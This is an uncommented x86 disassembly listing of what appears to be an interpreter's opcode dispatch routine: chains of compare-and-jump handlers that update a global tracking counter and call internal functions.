cmp eax, 0x1f
je 0x50ff5f
mov dword [0x76036c], 0x128b
mov dword [0x76036c], 0x128b
cmp eax, 0x20
je 0x51009d
mov dword [0x76036c], 0x1298
mov dword [0x76036c], 0x1298
cmp eax, 0x21
je 0x510202
mov dword [0x76036c], 0x12a3
mov dword [0x76036c], 0x12a3
cmp eax, 0x22
jne 0x50de70
mov dword [0x76036c], 0x12a4
mov dword [esp + 4], 4
xor ecx, ecx
mov dword [esp], ecx
call fcn.0055ad06
push ebx
push ebx
mov dword [0x76036c], 0x12a5
xor esi, esi
mov dword [esp], esi
call fcn.0055ab70
push edi
mov dword [0x760310], eax
mov dword [0x76036c], 0x12a6
mov dword [esp], eax
call fcn.005426db
push ebp
test eax, eax
jne 0x510340
mov dword [0x76036c], 0x12aa
mov dword [0x76036c], 0x12ab
mov dword [esp], 3
call fcn.0053c187
push edi
test eax, eax
jne 0x5103c5
mov dword [0x76036c], 0x12ab
mov dword [0x76036c], 0x12ac
xor ecx, ecx
mov dword [esp + 4], ecx
mov dword [esp], ecx
call fcn.0055ace9
push ebx
push ebx
jmp 0x50de70
mov dword [0x76036c], 0x11ee
mov ebx, dword [0x760050]
test ebx, ebx
je 0x50f21b
mov dword [0x76036c], 0x11f3
mov dword [0x76036c], 0x11f4
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x67a080
call fcn.0056fd80
push ecx
push ecx
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push esi
push esi
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edi
push edi
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
push ebp
push ebp
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ecx
push ecx
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x11f5
jmp 0x50de70
mov dword [0x76036c], 0x11ef
mov dword [esp + 4], 1
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004cdf20
push eax
push eax
mov dword [0x76036c], 0x11f0
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ef0c0
push eax
mov dword [0x76036c], 0x11f1
cmp dword [0x76007c], 0
je 0x50f28c
mov dword [0x76036c], 0x11f1
mov dword [0x76036c], 0x11f2
call fcn.004b1b70
mov dword [0x76036c], 0x11f3
jmp 0x50f20c
mov dword [0x76036c], 0x11f1
mov dword [0x76007c], 1
mov dword [0x76036c], 0x11f1
call fcn.0042a0e0
jmp 0x50f267
mov dword [0x76036c], 0x11f8
call fcn.00549604
mov dword [0x760338], eax
mov dword [0x76036c], 0x11f9
mov dword [esp], 0x1f
call fcn.005426ed
push edi
mov dword [0x76036c], 0x11fa
mov eax, dword [0x760338]
mov dword [esp], eax
call fcn.005426ed
push ebp
jmp 0x50de70
mov dword [0x76036c], 0x11fd
cmp dword [0x7602b4], 1
je 0x50f367
cmp dword [0x760130], 1
je 0x50f382
mov dword [0x76036c], 0x1201
mov dword [0x76036c], 0x1202
mov eax, dword [0x760068]
test eax, 0xfffffffd
jne 0x50f39d
mov dword [0x76036c], 0x1204
mov dword [0x76036c], 0x1205
call fcn.004c8f20
mov dword [0x76036c], 0x1206
mov dword [0x76036c], 0x1207
jmp 0x50de70
mov dword [0x76036c], 0x11fe
call fcn.00418840
mov dword [0x76036c], 0x11ff
jmp 0x50f358
mov dword [0x76036c], 0x1200
call fcn.00406af0
mov dword [0x76036c], 0x1201
jmp 0x50f358
mov dword [esp], eax
call fcn.00408690
push esi
test eax, eax
je 0x50f335
mov dword [0x76036c], 0x1203
xor ecx, ecx
mov dword [esp], ecx
call fcn.004b69c0
push ebx
mov dword [0x76036c], 0x1204
jmp 0x50f34e
mov dword [0x76036c], 0x120b
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.0055bf31
mov ebx, eax
call fcn.00572950
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], 5
call fcn.0053d858
sub esp, 0xc
call fcn.005729f0
mov ebx, eax
call fcn.00572950
mov dword [esp + 8], eax
mov dword [esp + 4], 4
mov dword [esp], ebx
call fcn.0056f440
sub esp, 0xc
call fcn.005729f0
mov dword [esp], eax
call fcn.004dc750
push ebp
call fcn.00572990
mov dword [0x76036c], 0x120c
mov dword [esp], 5
call fcn.0053c187
push edx
test eax, eax
jne 0x50f480
mov dword [0x76036c], 0x120c
mov dword [0x76036c], 0x120d
call fcn.0042a0e0
jmp 0x50de70
mov dword [0x76036c], 0x120c
mov dword [esp], 5
call fcn.0053c2e9
push edi
jmp 0x50f462
mov dword [0x76036c], 0x1210
xor ebx, ebx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x27
xor esi, esi
mov dword [esp + 4], esi
mov dword [esp], 0x332c
call fcn.0055bcb4
sub esp, 0x10
jmp 0x50de70
mov dword [0x76036c], 0x1212
xor edx, edx
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x2b
xor ecx, ecx
mov dword [esp + 4], ecx
mov dword [esp], 0x332c
call fcn.0055bcb4
sub esp, 0x10
jmp 0x50de70
mov dword [0x76036c], 0x1214
xor eax, eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x29
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], 0x332c
call fcn.0055bcb4
sub esp, 0x10
jmp 0x50de70
mov dword [0x76036c], 0x1216
xor eax, eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x2d
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], 0x332c
call fcn.0055bcb4
sub esp, 0x10
jmp 0x50de70
mov dword [0x76036c], 0x1219
mov dword [0x76036c], 0x600123
mov dword [0x76036c], 0x600126
mov eax, dword [0x7603c4]
mov dword [esp], eax
call fcn.0056809e
push eax
xor esi, esi
xor ebx, ebx
jmp 0x50f5a7
mov dword [0x76036c], 0x60012b
mov dword [0x76036c], 0x60012c
mov eax, dword [0x7603c4]
mov dword [esp], eax
call fcn.005680b3
sub esp, 4
test eax, eax
je 0x50f61d
mov dword [0x76036c], 0x600126
mov dword [0x76036c], 0x600127
mov eax, dword [0x7603c8]
mov edx, dword [eax + 0x3e]
cmp edx, dword [0x760068]
jne 0x50f593
mov edi, dword [0x7600a0]
cmp dword [eax + 0x42], edi
jne 0x50f593
mov ecx, dword [eax + 8]
cmp edx, ecx
je 0x50f593
mov dword [0x76036c], 0x600128
mov byte [eax + 0x31], 1
mov dword [0x76036c], 0x600129
mov dword [0x76036c], 0x60012a
add esi, 1
mov ebx, ecx
jmp 0x50f593
mov dword [0x76036c], 0x60012d
test esi, esi
je 0x50f63f
mov dword [0x76036c], 0x60012e
mov dword [0x760008], 1
mov dword [0x76036c], 0x60012f
mov dword [0x76036c], 0x600130
test ebx, ebx
jne 0x50f670
mov dword [0x76036c], 0x600130
mov dword [0x76036c], 0x600132
jmp 0x50de70
mov dword [0x76036c], 0x600130
mov dword [esp + 4], 1
mov dword [esp], ebx
call fcn.004ca890
push ebp
push ebp
jmp 0x50f657
mov dword [0x76036c], 0x121b
call fcn.004c8f20
jmp 0x50de70
mov dword [0x76036c], 0x121e
mov dword [esp + 0x10], 0x3b
mov dword [esp + 0xc], 0x4000b
mov dword [esp + 8], 0x24
xor edi, edi
mov dword [esp + 4], edi
mov dword [esp], 0x332c
call fcn.0055bcce
sub esp, 0x14
jmp 0x50de70
mov dword [0x76036c], 0x1221
mov dword [esp + 0x10], 0x3c
jmp 0x50f6b4
mov dword [0x76036c], 0x1224
mov dword [esp + 0x10], 0x3e
mov dword [esp + 0xc], 0x4000b
mov dword [esp + 8], 0x22
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], 0x332c
call fcn.0055bcce
sub esp, 0x14
jmp 0x50de70
mov dword [0x76036c], 0x1227
mov dword [esp + 0x10], 0x3f
jmp 0x50f704
mov dword [0x76036c], 0x122a
mov dword [esp + 0x10], 0x40
jmp 0x50f704
mov dword [0x76036c], 0x122d
mov dword [esp + 0x10], 0x41
jmp 0x50f704
mov dword [0x76036c], 0x1230
mov dword [esp + 0x10], 0x42
jmp 0x50f704
mov dword [0x76036c], 0x1233
cmp dword [0x760008], 1
jne 0x50f8da
mov dword [0x76036c], 0x1234
cmp dword [0x760050], 0
je 0x50f8e9
mov dword [0x76036c], 0x1238
mov dword [0x76036c], 0x1239
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push esi
push esi
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66e6e0
call fcn.0056fd80
push edi
push edi
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebp
push ebp
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push eax
push eax
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
push ecx
push ecx
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push esi
push esi
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x123a
mov dword [0x76036c], 0x123b
jmp 0x50de70
mov dword [0x76036c], 0x1235
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004caef0
push ebx
mov dword [0x76036c], 0x1236
cmp dword [0x76007c], 0
je 0x50f939
mov dword [0x76036c], 0x1236
mov dword [0x76036c], 0x1237
call fcn.004b1b70
mov dword [0x76036c], 0x1238
jmp 0x50f8d0
mov dword [0x76036c], 0x1236
mov dword [0x76007c], 1
mov dword [0x76036c], 0x1236
call fcn.0042a0e0
jmp 0x50f914
mov dword [0x76036c], 0x123e
mov dword [esp + 0x10], 0x43
jmp 0x50f704
mov dword [0x76036c], 0x1241
mov dword [esp + 0x10], 0x44
jmp 0x50f704
mov dword [0x76036c], 0x1244
cmp dword [0x760008], 1
jne 0x50fae8
mov dword [0x76036c], 0x1245
cmp dword [0x760050], 0
je 0x50faf7
mov dword [0x76036c], 0x1249
mov dword [0x76036c], 0x124a
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66e6e0
call fcn.0056fd80
push ecx
push ecx
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push esi
push esi
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edi
push edi
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
push ebp
push ebp
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ecx
push ecx
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x124b
mov dword [0x76036c], 0x124c
jmp 0x50de70
mov dword [0x76036c], 0x1246
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004cb180
push eax
mov dword [0x76036c], 0x1247
cmp dword [0x76007c], 0
je 0x50fb47
mov dword [0x76036c], 0x1247
mov dword [0x76036c], 0x1248
call fcn.004b1b70
mov dword [0x76036c], 0x1249
jmp 0x50fade
mov dword [0x76036c], 0x1247
mov dword [0x76007c], 1
mov dword [0x76036c], 0x1247
call fcn.0042a0e0
jmp 0x50fb22
mov dword [0x76036c], 0x124f
mov dword [esp + 0x10], 0x45
jmp 0x50f704
mov dword [0x76036c], 0x1252
mov dword [esp + 0x10], 0x46
jmp 0x50f704
mov dword [0x76036c], 0x1255
mov dword [esp + 0x10], 0x47
jmp 0x50f704
mov dword [0x76036c], 0x1258
mov dword [esp + 0x10], 0x48
jmp 0x50f704
mov dword [0x76036c], 0x125b
mov dword [esp + 0x10], 0x49
jmp 0x50f704
mov dword [0x76036c], 0x125e
mov dword [esp + 0x10], 0x4a
jmp 0x50f704
mov dword [0x76036c], 0x1261
mov dword [esp + 4], 4
xor edi, edi
mov dword [esp], edi
call fcn.0055ad06
push ebp
push ebp
mov dword [0x76036c], 0x1262
call fcn.004ce8d0
mov dword [0x76036c], 0x1263
cmp dword [0x76007c], 0
je 0x50fc79
mov dword [0x76036c], 0x1263
mov dword [0x76036c], 0x1264
call fcn.004b1b70
mov dword [0x76036c], 0x1265
mov dword [esp], 3
call fcn.0053c187
push esi
test eax, eax
jne 0x50fc9e
mov dword [0x76036c], 0x1265
jmp 0x50de70
mov dword [0x76036c], 0x1263
mov dword [0x76007c], 1
mov dword [0x76036c], 0x1263
call fcn.0042a0e0
jmp 0x50fc36
mov dword [0x76036c], 0x1265
mov dword [esp], 3
call fcn.0053c2e9
push ebx
jmp 0x50fc6a
mov dword [0x76036c], 0x1268
mov dword [esp + 4], 4
xor edx, edx
mov dword [esp], edx
call fcn.0055ad06
push ecx
push ecx
mov dword [0x76036c], 0x1269
call fcn.0055bf31
mov dword [0x76036c], 0x126a
mov dword [0x76036c], 0x126a
cmp eax, 0x19
je 0x50fdd3
mov dword [0x76036c], 0x126c
mov dword [0x76036c], 0x126c
cmp eax, 0x1a
je 0x50fdea
mov dword [0x76036c], 0x126e
mov dword [0x76036c], 0x126e
cmp eax, 0x1b
je 0x50fe06
mov dword [0x76036c], 0x1270
mov dword [0x76036c], 0x1270
cmp eax, 0x1c
je 0x50fe22
mov dword [0x76036c], 0x1272
mov dword [0x76036c], 0x1272
cmp eax, 0x1d
je 0x50fe3e
mov dword [0x76036c], 0x1275
cmp dword [0x76007c], 0
je 0x50fe5a
mov dword [0x76036c], 0x1275
mov dword [0x76036c], 0x1276
call fcn.004b1b70
mov dword [0x76036c], 0x1277
mov dword [esp], 3
call fcn.0053c187
push edi
test eax, eax
jne 0x50fe82
mov dword [0x76036c], 0x1277
jmp 0x50de70
mov dword [0x76036c], 0x126b
xor eax, eax
mov dword [esp], eax
call fcn.004ceef0
push eax
jmp 0x50fd75
mov dword [0x76036c], 0x126d
mov dword [esp], 1
call fcn.004ceef0
push eax
jmp 0x50fd75
mov dword [0x76036c], 0x126f
mov dword [esp], 5
call fcn.004ceef0
push eax
jmp 0x50fd75
mov dword [0x76036c], 0x1271
mov dword [esp], 2
call fcn.004ceef0
push eax
jmp 0x50fd75
mov dword [0x76036c], 0x1273
mov dword [esp], 6
call fcn.004ceef0
push ebp
jmp 0x50fd75
mov dword [0x76036c], 0x1275
mov dword [0x76007c], 1
mov dword [0x76036c], 0x1275
call fcn.0042a0e0
jmp 0x50fd8c
mov dword [0x76036c], 0x1277
mov dword [esp], 3
call fcn.0053c2e9
push esi
jmp 0x50fdc4
mov dword [0x76036c], 0x127a
mov dword [esp + 4], 4
xor ecx, ecx
mov dword [esp], ecx
call fcn.0055ad06
push ebx
push ebx
mov dword [0x76036c], 0x127b
call fcn.004cf7d0
mov dword [0x76036c], 0x127c
cmp dword [0x76007c], 0
je 0x50ff21
mov dword [0x76036c], 0x127c
mov dword [0x76036c], 0x127d
call fcn.004b1b70
mov dword [0x76036c], 0x127e
mov dword [esp], 3
call fcn.0053c187
push edx
test eax, eax
jne 0x50ff46
mov dword [0x76036c], 0x127e
jmp 0x50de70
mov dword [0x76036c], 0x127c
mov dword [0x76007c], 1
mov dword [0x76036c], 0x127c
call fcn.0042a0e0
jmp 0x50fede
mov dword [0x76036c], 0x127e
mov dword [esp], 3
call fcn.0053c2e9
push eax
jmp 0x50ff12
mov dword [0x76036c], 0x1281
mov dword [esp + 4], 4
xor ecx, ecx
mov dword [esp], ecx
call fcn.0055ad06
push ebx
push ebx
mov dword [0x76036c], 0x1282
xor esi, esi
mov dword [esp], esi
call fcn.0055ab70
push edi
mov dword [0x760310], eax
mov dword [0x76036c], 0x1283
mov dword [esp], eax
call fcn.005426db
push ebp
test eax, eax
jne 0x510000
mov dword [0x76036c], 0x1287
mov dword [0x76036c], 0x1288
mov dword [esp], 3
call fcn.0053c187
push edi
test eax, eax
jne 0x510081
mov dword [0x76036c], 0x1288
mov dword [0x76036c], 0x1289
xor ecx, ecx
mov dword [esp + 4], ecx
mov dword [esp], ecx
call fcn.0055ace9
push ebx
push ebx
jmp 0x50de70
mov eax, dword [0x760310]
mov dword [esp], eax
call fcn.00542b23
push edx
cmp eax, 0x1c
jne 0x50ffae
mov dword [0x76036c], 0x1284
mov eax, dword [0x760310]
mov dword [esp], eax
call fcn.00485f00
push ebp
mov dword [0x76036c], 0x1285
cmp dword [0x76007c], 0
je 0x51005c
mov dword [0x76036c], 0x1285
mov dword [0x76036c], 0x1286
call fcn.004b1b70
jmp 0x50ffae
mov dword [0x76036c], 0x1285
mov dword [0x76007c], 1
mov dword [0x76036c], 0x1285
call fcn.0042a0e0
jmp 0x51003e
mov dword [0x76036c], 0x1288
mov dword [esp], 3
call fcn.0053c2e9
push esi
jmp 0x50ffd7
mov dword [0x76036c], 0x128c
mov dword [esp + 4], 4
xor ebx, ebx
mov dword [esp], ebx
call fcn.0055ad06
push esi
push esi
mov dword [0x76036c], 0x128d
xor edi, edi
mov dword [esp], edi
call fcn.0055ab70
push ebp
mov dword [0x760310], eax
mov dword [0x76036c], 0x128e
mov dword [esp], eax
call fcn.005426db
push edx
test eax, eax
jne 0x51013e
mov dword [0x76036c], 0x1294
mov dword [0x76036c], 0x1295
mov dword [esp], 3
call fcn.0053c187
push ebp
test eax, eax
jne 0x5101e6
mov dword [0x76036c], 0x1295
mov dword [0x76036c], 0x1296
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp], ebx
call fcn.0055ace9
push esi
push esi
jmp 0x50de70
mov eax, dword [0x760310]
mov dword [esp], eax
call fcn.00542b23
push ecx
cmp eax, 0x1c
jne 0x5100ec
mov dword [0x76036c], 0x128f
mov eax, dword [0x760310]
mov dword [esp], eax
call fcn.005495d7
push edx
sub eax, 1
jle 0x5101b2
mov dword [0x76036c], 0x1290
mov eax, dword [0x760310]
mov dword [esp], eax
call fcn.004cd570
push eax
mov dword [0x76036c], 0x1291
cmp dword [0x76007c], 0
je 0x5101c1
mov dword [0x76036c], 0x1291
mov dword [0x76036c], 0x1292
call fcn.004b1b70
mov dword [0x76036c], 0x1293
jmp 0x5100ec
mov dword [0x76036c], 0x1291
mov dword [0x76007c], 1
mov dword [0x76036c], 0x1291
call fcn.0042a0e0
jmp 0x510199
mov dword [0x76036c], 0x1295
mov dword [esp], 3
call fcn.0053c2e9
push edi
jmp 0x510115
mov dword [0x76036c], 0x1299
mov dword [esp + 4], 4
xor esi, esi
mov dword [esp], esi
call fcn.0055ad06
push edi
push edi
mov dword [0x76036c], 0x129a
xor ebp, ebp
mov dword [esp], ebp
call fcn.0055ab70
push edx
mov dword [0x760310], eax
mov dword [0x76036c], 0x129b
mov dword [esp], eax
call fcn.005426db
push ecx
test eax, eax
jne 0x5102a3
mov dword [0x76036c], 0x129f
mov dword [0x76036c], 0x12a0
mov dword [esp], 3
call fcn.0053c187
push edx
test eax, eax
jne 0x510324
mov dword [0x76036c], 0x12a0
mov dword [0x76036c], 0x12a1
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], eax
call fcn.0055ace9
push eax
push eax
jmp 0x50de70
mov eax, dword [0x760310]
mov dword [esp], eax
call fcn.00542b23
push ebx
cmp eax, 0x1c
jne 0x510251
mov dword [0x76036c], 0x129c
mov eax, dword [0x760310]
mov dword [esp], eax
call fcn.004cb410
push ecx
mov dword [0x76036c], 0x129d
cmp dword [0x76007c], 0
je 0x5102ff
mov dword [0x76036c], 0x129d
mov dword [0x76036c], 0x129e
call fcn.004b1b70
jmp 0x510251
mov dword [0x76036c], 0x129d
mov dword [0x76007c], 1
mov dword [0x76036c], 0x129d
call fcn.0042a0e0
jmp 0x5102e1
mov dword [0x76036c], 0x12a0
mov dword [esp], 3
call fcn.0053c2e9
push eax
jmp 0x51027a
mov eax, dword [0x760310]
mov dword [esp], eax
call fcn.00542b23
push edx
cmp eax, 0x1c
jne 0x50f07a
mov dword [0x76036c], 0x12a7
mov eax, dword [0x760310]
mov dword [esp], eax
call fcn.004cbae0
push ebp
mov dword [0x76036c], 0x12a8
cmp dword [0x76007c], 0
je 0x5103a0
mov dword [0x76036c], 0x12a8
mov dword [0x76036c], 0x12a9
call fcn.004b1b70
jmp 0x50f07a
mov dword [0x76036c], 0x12a8
mov dword [0x76007c], 1
mov dword [0x76036c], 0x12a8
call fcn.0042a0e0
jmp 0x510382
mov dword [0x76036c], 0x12ab
mov dword [esp], 3
call fcn.0053c2e9
push esi
jmp 0x50f0a3
mov dword [0x76036c], 0x12b2
call fcn.0055bc7e
mov dword [0x76036c], 0x12b4
mov dword [0x76036c], 0x12b4
cmp eax, 0x1e
je 0x510af2
mov dword [0x76036c], 0x12c1
mov dword [0x76036c], 0x12c1
cmp eax, 0x1d
je 0x510f2b
mov dword [0x76036c], 0x12c7
mov dword [0x76036c], 0x12c7
cmp eax, 0x10
je 0x510f89
mov dword [0x76036c], 0x12e7
mov dword [0x76036c], 0x12e7
cmp eax, 0xf
je 0x511371
mov dword [0x76036c], 0x1323
mov dword [0x76036c], 0x1323
cmp eax, 0x13
je 0x511a24
mov dword [0x76036c], 0x1341
mov dword [0x76036c], 0x1341
cmp eax, 0xe
je 0x511d1d
mov dword [0x76036c], 0x1348
mov dword [0x76036c], 0x1348
cmp eax, 0x14
je 0x511d87
mov dword [0x76036c], 0x1378
mov dword [0x76036c], 0x1378
cmp eax, 0x53
je 0x512535
mov dword [0x76036c], 0x137e
mov dword [0x76036c], 0x137e
cmp eax, 0x61
je 0x5126e3
mov dword [0x76036c], 0x138e
mov dword [0x76036c], 0x138e
cmp eax, 0x62
je 0x51283d
mov dword [0x76036c], 0x139b
mov dword [0x76036c], 0x139b
cmp eax, 0x55
je 0x51292e
mov dword [0x76036c], 0x13bc
mov dword [0x76036c], 0x13bc
cmp eax, 0x56
je 0x512e01
mov dword [0x76036c], 0x13c1
mov dword [0x76036c], 0x13c1
cmp eax, 0x57
je 0x512e40
mov dword [0x76036c], 0x13c4
mov dword [0x76036c], 0x13c4
cmp eax, 0x58
je 0x512e61
mov dword [0x76036c], 0x13c7
mov dword [0x76036c], 0x13c7
cmp eax, 0x5d
je 0x512e82
mov dword [0x76036c], 0x13df
mov dword [0x76036c], 0x13df
cmp eax, 0x5e
je 0x51320c
mov dword [0x76036c], 0x13e7
mov dword [0x76036c], 0x13e7
cmp eax, 0x59
je 0x513398
mov dword [0x76036c], 0x13ea
mov dword [0x76036c], 0x13ea
cmp eax, 0x5a
je 0x5133b9
mov dword [0x76036c], 0x13ed
mov dword [0x76036c], 0x13ed
cmp eax, 0x6a
je 0x5133da
mov dword [0x76036c], 0x13f1
mov dword [0x76036c], 0x13f1
cmp eax, 0x79
je 0x51340a
mov dword [0x76036c], 0x13f5
mov dword [0x76036c], 0x13f5
cmp eax, 0x7a
je 0x51343a
mov dword [0x76036c], 0x13f9
mov dword [0x76036c], 0x13f9
cmp eax, 0x6d
je 0x51346a
mov dword [0x76036c], 0x1404
mov dword [0x76036c], 0x1404
cmp eax, 0x6e
je 0x5135f1
mov dword [0x76036c], 0x140c
mov dword [0x76036c], 0x140c
cmp eax, 0x65
je 0x5136ac
mov dword [0x76036c], 0x1416
mov dword [0x76036c], 0x1416
cmp eax, 0x66
je 0x51374c
mov dword [0x76036c], 0x141c
mov dword [0x76036c], 0x141c
cmp eax, 0x74
je 0x5137a6
mov dword [0x76036c], 0x141f
mov dword [0x76036c], 0x141f
cmp eax, 0x76
je 0x5137c7
mov dword [0x76036c], 0x1423
mov dword [0x76036c], 0x1423
cmp eax, 0x77
je 0x5137f7
mov dword [0x76036c], 0x1427
mov dword [0x76036c], 0x1427
cmp eax, 0x7b
je 0x513827
mov dword [0x76036c], 0x142b
mov dword [0x76036c], 0x142b
cmp eax, 0x7c
je 0x513857
mov dword [0x76036c], 0x142f
mov dword [0x76036c], 0x142f
cmp eax, 0x7f
je 0x513887
mov dword [0x76036c], 0x1433
mov dword [0x76036c], 0x1433
cmp eax, 0x68
je 0x5138b7
mov dword [0x76036c], 0x143b
mov dword [0x76036c], 0x143b
cmp eax, 0x69
je 0x51392d
mov dword [0x76036c], 0x143f
mov dword [0x76036c], 0x143f
lea edx, [eax - 0x71]
cmp edx, 1
jbe 0x51395d
mov dword [0x76036c], 0x144b
mov dword [0x76036c], 0x144b
cmp eax, 0x88
je 0x513a5c
mov dword [0x76036c], 0x1456
mov dword [0x76036c], 0x1456
cmp eax, 0x80
je 0x513b26
mov dword [0x76036c], 0x1459
mov dword [0x76036c], 0x1459
cmp eax, 0x81
je 0x513b47
mov dword [0x76036c], 0x1462
mov dword [0x76036c], 0x1462
cmp eax, 0x82
je 0x513c27
mov dword [0x76036c], 0x1466
mov dword [0x76036c], 0x1466
cmp eax, 0x83
je 0x513c7d
mov dword [0x76036c], 0x146a
mov dword [0x76036c], 0x146a
cmp eax, 0x84
je 0x513cad
mov dword [0x76036c], 0x146d
mov dword [0x76036c], 0x146d
cmp eax, 0x85
je 0x513cce
mov dword [0x76036c], 0x1471
mov dword [0x76036c], 0x1471
cmp eax, 0x7d
je 0x513cfe
mov dword [0x76036c], 0x147c
mov dword [0x76036c], 0x147c
cmp eax, 0x7e
je 0x513dce
mov dword [0x76036c], 0x1480
mov dword [0x76036c], 0x1480
cmp eax, 0x86
je 0x513dfe
mov dword [0x76036c], 0x1484
mov dword [0x76036c], 0x1484
cmp eax, 0x15
je 0x513e2e
mov dword [0x76036c], 0x14a8
mov dword [0x76036c], 0x14a8
cmp eax, 0x8a
je 0x514272
mov dword [0x76036c], 0x14b9
mov dword [0x76036c], 0x14b9
cmp eax, 0x8c
je 0x51442f
mov dword [0x76036c], 0x14c1
mov dword [0x76036c], 0x14c1
cmp eax, 0x8d
je 0x5144b4
mov dword [0x76036c], 0x14c9
mov dword [0x76036c], 0x14c9
cmp eax, 0x8f
je 0x514539
mov dword [0x76036c], 0x14db
mov dword [0x76036c], 0x14db
cmp eax, 0x91
je 0x514774
mov dword [0x76036c], 0x14f5
mov dword [0x76036c], 0x14f5
lea edx, [eax - 0x27]
cmp edx, 7
jbe 0x514a2d
mov dword [0x76036c], 0x1548
mov dword [0x76036c], 0x1548
cmp eax, 0x2f
je 0x515813
mov dword [0x76036c], 0x154d
mov dword [0x76036c], 0x154d
cmp eax, 0x30
je 0x5158b6
mov dword [0x76036c], 0x1552
mov dword [0x76036c], 0x1552
cmp eax, 0x31
je 0x515959
mov dword [0x76036c], 0x155d
mov dword [0x76036c], 0x155d
cmp eax, 0x32
je 0x515a9b
mov dword [0x76036c], 0x1568
mov dword [0x76036c], 0x1568
cmp eax, 0x33
je 0x515bdd
mov dword [0x76036c], 0x157c
mov dword [0x76036c], 0x157c
cmp eax, 0x34
jne 0x510ce0
mov dword [0x76036c], 0x157d
mov dword [esp], 0x34
call fcn.00542b42
push ecx
mov dword [0x75ffa0], eax
mov dword [0x76036c], 0x157e
sub eax, 1
je 0x515c67
mov dword [0x76036c], 0x1580
mov dword [0x76036c], 0x1581
mov dword [0x75ffe0], 1
mov dword [0x76036c], 0x1582
mov dword [0x76036c], 0x1583
jmp 0x510f6f
mov dword [0x76036c], 0x12b5
mov dword [esp], 0x17
call fcn.005495d7
push edx
sub eax, 1
jle 0x510c2a
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x17
call fcn.005441b3
push ebp
push ebp
